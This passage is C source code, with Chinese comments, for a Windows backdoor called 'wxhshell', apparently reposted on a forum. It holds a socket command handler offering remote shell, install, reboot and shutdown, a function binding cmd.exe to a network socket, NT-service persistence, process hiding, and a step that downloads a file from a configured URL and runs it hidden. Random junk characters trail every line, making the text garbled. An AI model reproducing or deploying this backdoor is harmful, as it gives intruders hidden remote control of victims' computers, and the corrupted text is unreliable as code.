  giddM2'  
  // 帮助 99q$>nx,w  
  case '?': { g;3<oI/P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &19z|Id  
    break; ON_G D"  
  } ]=0D~3o3  
  // 安装 +w3k_^X9c  
  case 'i': { x4_FG{AIu  
    if(Install()) b{e|~v6&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |TBKsx8  
    else T:j!a{_|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pHDPj,lu  
    break; n lvDMZ  
    } TU8K\;l]  
  // 卸载 Zf\It<zT5  
  case 'r': { a)L=+Z  
    if(Uninstall()) f7]C1!]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f%d =X>_  
    else 2-wvL&pi)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %} Ob~m>P  
    break; GZFLJu  
    } @2$iFZq~  
  // 显示 wxhshell 所在路径 ws}>swR,  
  case 'p': { %eqL)pC]  
    char svExeFile[MAX_PATH]; z?_5fte`  
    strcpy(svExeFile,"\n\r"); J&b&*3   
      strcat(svExeFile,ExeFile); ^UpwVKdP  
        send(wsh,svExeFile,strlen(svExeFile),0); j~9,Ct  
    break; 0 .t1p(x;  
    } +@oo8io  
  // 重启 x(88Y7o.t  
  case 'b': { 7\;gd4Ua1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?K?v64[  
    if(Boot(REBOOT)) flfE~_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RE:$c!E!  
    else { ?jBh=X\]:  
    closesocket(wsh); POUD*(DqNK  
    ExitThread(0); 9o5_QnGE  
    } y {1p#  
    break; gI~jf- w  
    } $3n@2 N`  
  // 关机 lhV'Q]s@6  
  case 'd': { .7GAGMNS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R_DZJV O  
    if(Boot(SHUTDOWN)) j]_"MMwk$<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %8GY`T:^  
    else { s%qK<U4@;Q  
    closesocket(wsh); ut^^,w{o>  
    ExitThread(0); ViT$]Nv  
    } =G2A Ufn   
    break; QI2T G,  
    } A|U_$!cLZ  
  // 获取shell D3%`vq u&  
  case 's': { SA$1rqU=  
    CmdShell(wsh); .!J,9PE  
    closesocket(wsh); ?l<u%o  
    ExitThread(0); e6?h4}[+*  
    break; ;yH1vX  
  } vN4g#,<  
  // 退出  ,  
  case 'x': { \uV;UH7qe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NLxsxomj  
    CloseIt(wsh); ztS'Dp}q<  
    break; Ot} E  
    } sj@'C@oK  
  // 离开 V<!E9/4rS  
  case 'q': { ^m:?6y_uw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~m56t5+uw  
    closesocket(wsh); 0TI+6u  
    WSACleanup(); P}QuGy[  
    exit(1); 8^N"D7{mO  
    break; l0$ +)FKd  
        } UujFZg[-P9  
  } NN W*  
  } OC]_b36v  
6!n%SUt  
  // 提示信息 LJMw-#61sj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }0Q6iHX@  
} k w!1]N  
  } hQfxz,X  
Q pY:L  
  return; BI]%$rq  
} 5sq#bvfJ o  
\TrhJ  
// shell模块句柄 * 5#Y [c  
int CmdShell(SOCKET sock) ZIx,?E+eJ  
{ _6 ~/`_(KP  
STARTUPINFO si; vxo iPqo  
ZeroMemory(&si,sizeof(si)); /*lSpsBn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &6E^<v?]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1qb 3.  
PROCESS_INFORMATION ProcessInfo; F3b[L^Km]  
char cmdline[]="cmd"; 0Kjm:x9T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g<Sa{<0  
  return 0; .;n<k  
} T%xB|^lf  
W/uaNp  
// 自身启动模式 4+`<'t]Q  
int StartFromService(void) +S:(cz80V  
{ #$Z|)i]w  
typedef struct ;Q2p~-0Q  
{  wYS,|=y  
  DWORD ExitStatus; $IQ  !g  
  DWORD PebBaseAddress; dHnId2@#  
  DWORD AffinityMask; )A['+s  
  DWORD BasePriority; ![iAALPNl  
  ULONG UniqueProcessId; Px}#{fkS  
  ULONG InheritedFromUniqueProcessId; C``%<)WC  
}   PROCESS_BASIC_INFORMATION; #kV`G.EX  
c)M_&?J!5  
PROCNTQSIP NtQueryInformationProcess; -~ `5kO~  
xS,#TU;)Ol  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GjA;o3(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 52>?l C  
kG+CT  
  HANDLE             hProcess; %9=^#e+pE  
  PROCESS_BASIC_INFORMATION pbi; Au" [2cG  
;#!`c gAh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h?DMrYk_%#  
  if(NULL == hInst ) return 0; +aV>$Y  
1k\1U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3e:"tus~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?(!$vqS`f(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;{ Y|n_  
UtiS?w6  
  if (!NtQueryInformationProcess) return 0; UPPDs"  
y2^r.6"O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bj J$I^  
  if(!hProcess) return 0; t.>vLzrU  
>b |l6 #%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yKa}U!$   
y8wOJZ<K  
  CloseHandle(hProcess); ^Yn{Vi2.  
h8O[xca/~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @B~/0 9  
if(hProcess==NULL) return 0; S~ }?6/G.  
z$`=7 afp  
HMODULE hMod; s&M6DFlA  
char procName[255]; HlY4%M5q/  
unsigned long cbNeeded; rsvZi1N4w$  
o_EXbS]C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z8mR< q%`  
q0w5ADd  
  CloseHandle(hProcess); s%J|r{F6  
abCcZ<=|b  
if(strstr(procName,"services")) return 1; // 以服务启动 X1i6CEa<  
:*6tbUp  
  return 0; // 注册表启动 6A/Nlk.  
} NwuME/C7#  
$d!Sl a  
// 主模块 ~c`@uGw  
int StartWxhshell(LPSTR lpCmdLine) ![:S~x1  
{ 6,0pkx&Nv  
  SOCKET wsl; ."PR Z,  
BOOL val=TRUE; yc4mWB~gyU  
  int port=0; ~|pVz/s|G  
  struct sockaddr_in door; v)+wr[Qs  
Jnm{i|6N  
  if(wscfg.ws_autoins) Install(); f 7et  
?U2ed)zzw  
port=atoi(lpCmdLine); }jfU qqFd  
+vLuzM-  
if(port<=0) port=wscfg.ws_port; 'sY>(D*CQ  
co<){5zOT  
  WSADATA data; 7vcYI#(2 Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; klKAwCQ,  
QM9~O#rL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   < 7zyRm@S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g^ ^%4Y  
  door.sin_family = AF_INET; us4.-L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lz=nJn  
  door.sin_port = htons(port); !Il>,q&F  
PQXyu1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [FC7+ Ey^  
closesocket(wsl); HPCgv?E3  
return 1; 7J,W#Ql)5  
} {{[).o/  
/^#k /z  
  if(listen(wsl,2) == INVALID_SOCKET) { .?_wcp=  
closesocket(wsl); \%E Zg  
return 1; :4<+)r26  
} )Bl% {C  
  Wxhshell(wsl); (Y'rEc#H&z  
  WSACleanup(); zV4%F"-  
[t<^WmgtxL  
return 0; _1dG!!L_  
Yiu)0\ o  
} ,^,Vq]$3  
^;NM'Z  
// 以NT服务方式启动 8b(UqyV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;MCv  
{ <hdR:k@ #  
DWORD   status = 0; //e.p6"8h  
  DWORD   specificError = 0xfffffff; )wpBxJ;dB}  
/+sn -$/"i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iyu%o9_0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7-w +/fv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f&ZxG,]H i  
  serviceStatus.dwWin32ExitCode     = 0; >('L2]4\v  
  serviceStatus.dwServiceSpecificExitCode = 0; X5qU>'?`  
  serviceStatus.dwCheckPoint       = 0; wv ,F>5P  
  serviceStatus.dwWaitHint       = 0; 5 & -fX:/  
)(\5Wk9(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A,lcR:@w  
  if (hServiceStatusHandle==0) return; {+z+6i  
gO4J[_  
status = GetLastError(); aAu upPu  
  if (status!=NO_ERROR) p4W->AVv$  
{ T!pWU*aB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A]BG*  
    serviceStatus.dwCheckPoint       = 0; p."pI Bd  
    serviceStatus.dwWaitHint       = 0; Zj~tUCc  
    serviceStatus.dwWin32ExitCode     = status; (~}yt.7K  
    serviceStatus.dwServiceSpecificExitCode = specificError; 20 zIO.&o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zBB4lC{q  
    return; "KW\:uc /  
  } QCa$<~c  
>efYpd#^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VV?+q)  
  serviceStatus.dwCheckPoint       = 0; ;{q7rsE  
  serviceStatus.dwWaitHint       = 0; \0(QO8.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mV`Z]-$$i  
} }.o rfW  
sTeL4g|%{  
// 处理NT服务事件,比如:启动、停止 cm-cwPAh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Si6%6rAhj  
{ -Qiay/tlu  
switch(fdwControl) <R*.T)Z1  
{ ~Rk6@&ZS}  
case SERVICE_CONTROL_STOP: HHWB_QaL  
  serviceStatus.dwWin32ExitCode = 0; ;'}1   
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  4rwfY<G  
  serviceStatus.dwCheckPoint   = 0; @ L%3}  
  serviceStatus.dwWaitHint     = 0; Cg}cD.  
  { 8cfxKUS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uzho>p[ae  
  } H`),PY2  
  return; +X cB5S>  
case SERVICE_CONTROL_PAUSE: l]T|QhiVd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <z%zz c1s  
  break; "p#mNc  
case SERVICE_CONTROL_CONTINUE: hKQT,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jp=^$rS6[  
  break; x?va26FV  
case SERVICE_CONTROL_INTERROGATE: bH3-#mw5w  
  break; ?%;7k'0"  
}; %Ni)^   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i?qS8h{  
} 9d#-;qV  
HR\yJt  
// 标准应用程序主函数 < I8hy$+6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;8|uY%ab  
{ =6ZZ/+6b  
Ct|iZLh`j  
// 获取操作系统版本 # T$^{/J  
OsIsNt=GetOsVer(); Ls5|4%+&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3PpycJ}  
-zN*2T  
  // 从命令行安装 QI=",vma u  
  if(strpbrk(lpCmdLine,"iI")) Install(); SD8Q_[rY  
y*vs}G'W  
  // 下载执行文件 HS="t3  
if(wscfg.ws_downexe) { A$;U*7TJuO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eMPi ho  
  WinExec(wscfg.ws_filenam,SW_HIDE); zK k;&y|{  
} k~`pV/6  
`L]cJ0tAs  
if(!OsIsNt) { rzLpVpTaz  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y71io^td~j  
HideProc(); *]W{83rXQ  
StartWxhshell(lpCmdLine); w/~,mzM"  
} #If}P$!  
else dF5EIPl;J  
  if(StartFromService()) TW{.qed8^  
  // 以服务方式启动 BV9B}IV  
  StartServiceCtrlDispatcher(DispatchTable); ?\(E+6tpP  
else jXSo{  
  // 普通方式启动 &}OaiTzEmc  
  StartWxhshell(lpCmdLine); )f*&}SV  
uPr@xff  
return 0; +a"MSPC4w  
}
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只看该作者 1 发表于: 2006-10-10
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